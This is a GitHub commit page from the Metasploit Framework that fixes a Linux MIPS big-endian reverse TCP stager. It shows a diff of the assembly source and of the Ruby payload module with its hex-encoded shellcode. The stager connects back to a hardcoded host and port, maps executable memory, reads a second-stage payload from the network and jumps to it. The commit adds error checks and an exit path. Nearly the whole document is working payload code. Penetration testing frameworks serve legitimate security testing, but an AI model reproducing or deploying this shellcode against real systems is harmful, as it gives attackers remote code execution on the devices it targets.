Skip to content

Commit d02d682

Browse files
committed
fix reverse tcp stager src
1 parent d1f08a8 commit d02d682

File tree

2 files changed

+27
-7
lines changed

2 files changed

+27
-7
lines changed

external/source/shellcode/linux/mipsbe/stager_sock_reverse.s

Lines changed: 21 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44
# Type: Stager
55
# Qualities: No Nulls out of the IP / Port data
66
# Platforms: Linux MIPS Big Endian
7-
# Authors: juan vazquez <juan.vazquez [at] metasploit.com>
7+
# Authors: juan vazquez <juan.vazquez [at] metasploit.com>, tkmru
88
# License:
99
#
1010
# This file is part of the Metasploit Exploit Framework
@@ -29,12 +29,11 @@
2929
##
3030
.text
3131
.align 2
32-
.globl main
32+
.globl main
3333
.set nomips16
3434
main:
3535
.set noreorder
3636
.set nomacro
37-
3837
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
3938
# a0: domain = PF_INET (2)
4039
# a1: type = SOCK_STREAM (2)
@@ -47,8 +46,9 @@ main:
4746
slti $a2, $zero, -1
4847
li $v0, 4183
4948
syscall 0x40404
50-
51-
sw $v0, -4($sp) # store the file descriptor for the socket on the stack
49+
slt $s0, $zero, $a3
50+
bne $s0, $zero, failed
51+
sw $v0, -4($sp) # store the file descriptor for the socket on the stack
5252

5353
# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
5454
# a0: sockfd
@@ -69,6 +69,8 @@ main:
6969
nor $a2, $t4, $zero
7070
li $v0, 4170
7171
syscall 0x40404
72+
slt $s0, $zero, $a3
73+
bne $s0, $zero, failed
7274

7375
# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
7476
# a0: addr = -1
@@ -92,7 +94,8 @@ main:
9294
sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls
9395
li $v0, 4090
9496
syscall 0x40404
95-
97+
slt $s0, $zero, $a3
98+
bne $s0, $zero, failed
9699
sw $v0, -8($sp) # Stores the mmap'ed address on the stack
97100

98101
# read(sockfd, addr, 4096)
@@ -106,6 +109,8 @@ main:
106109
addi $a2, $a2, -1
107110
li $v0, 4003
108111
syscall 0x40404
112+
slt $s0, $zero, $a3
113+
bne $s0, $zero, failed
109114

110115
# cacheflush(addr, nbytes, DCACHE)
111116
# a0: addr
@@ -119,11 +124,20 @@ main:
119124
add $a2, $t1, $0
120125
li $v0, 4147
121126
syscall 0x40404
122-
127+
slt $s0, $zero, $a3
128+
bne $s0, $zero, failed
123129
# jmp to the stage
124130
lw $s1, -8($sp)
125131
lw $s2, -4($sp)
126132
jalr $s1
127133

134+
failed:
135+
# exit(status)
136+
# a0: status
137+
# v0: syscall = __NR_exit (4001)
138+
li $a0, 1
139+
li $v0, 4001
140+
syscall 0x40404
141+
128142
.set macro
129143
.set reorder

modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -41,6 +41,7 @@ def initialize(info = {})
4141
"\x21\xe5\xff\xfd" + # addi a1,t7,-3
4242
"\x28\x06\xff\xff" + # slti a2,zero,-1
4343
"\x24\x02\x10\x57" + # li v0,4183
44+
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
4445
"\x01\x01\x01\x0c" + # syscall 0x40404
4546
"\x00\x07\x80\x2a" + # slt s0,zero,a3
4647
"\x16\x00\x00\x36" + # bnez s0,0x4006bc <failed>
@@ -58,6 +59,7 @@ def initialize(info = {})
5859
"\x24\x0c\xff\xef" + # li t4,-17
5960
"\x01\x80\x30\x27" + # nor a2,t4,zero
6061
"\x24\x02\x10\x4a" + # li v0,4170
62+
# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
6163
"\x01\x01\x01\x0c" + # syscall 0x40404
6264
"\x00\x07\x80\x2a" + # slt s0,zero,a3
6365
"\x16\x00\x00\x25" + # bnez s0,0x4006bc <failed>
@@ -74,6 +76,7 @@ def initialize(info = {})
7476
"\xad\x60\xff\xff" + # sw zero,-1(t3)
7577
"\xad\x62\xff\xfb" + # sw v0,-5(t3)
7678
"\x24\x02\x0f\xfa" + # li v0,4090
79+
# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
7780
"\x01\x01\x01\x0c" + # syscall 0x40404
7881
"\x00\x07\x80\x2a" + # slt s0,zero,a3
7982
"\x16\x00\x00\x15" + # bnez s0,0x4006bc <failed>
@@ -83,6 +86,7 @@ def initialize(info = {})
8386
"\x24\x06\x10\x01" + # li a2,4097
8487
"\x20\xc6\xff\xff" + # addi a2,a2,-1
8588
"\x24\x02\x0f\xa3" + # li v0,4003
89+
# read(sockfd, addr, 4096)
8690
"\x01\x01\x01\x0c" + # syscall 0x40404
8791
"\x00\x07\x80\x2a" + # slt s0,zero,a3
8892
"\x16\x00\x00\x0c" + # bnez s0,0x4006bc <failed>
@@ -92,6 +96,7 @@ def initialize(info = {})
9296
"\x01\x20\x48\x27" + # nor t1,t1,zero
9397
"\x01\x20\x30\x20" + # add a2,t1,zero
9498
"\x24\x02\x10\x33" + # li v0,4147
99+
# cacheflush(addr, nbytes, DCACHE)
95100
"\x01\x01\x01\x0c" + # syscall 0x40404
96101
"\x00\x07\x80\x2a" + # slt s0,zero,a3
97102
"\x16\x00\x00\x03" + # bnez s0,0x4006bc <failed>
@@ -101,6 +106,7 @@ def initialize(info = {})
101106
# 4006bc <failed>:
102107
"\x24\x04\x00\x01" + # li a0,1
103108
"\x24\x02\x0f\xa1" + # li v0,4001
109+
# exit(status)
104110
"\x01\x01\x01\x0c" + # syscall 0x40404
105111
"\x00\x20\x08\x25" + # move at,at
106112
"\x00\x20\x08\x25" # move at,at

0 commit comments

Comments
 (0)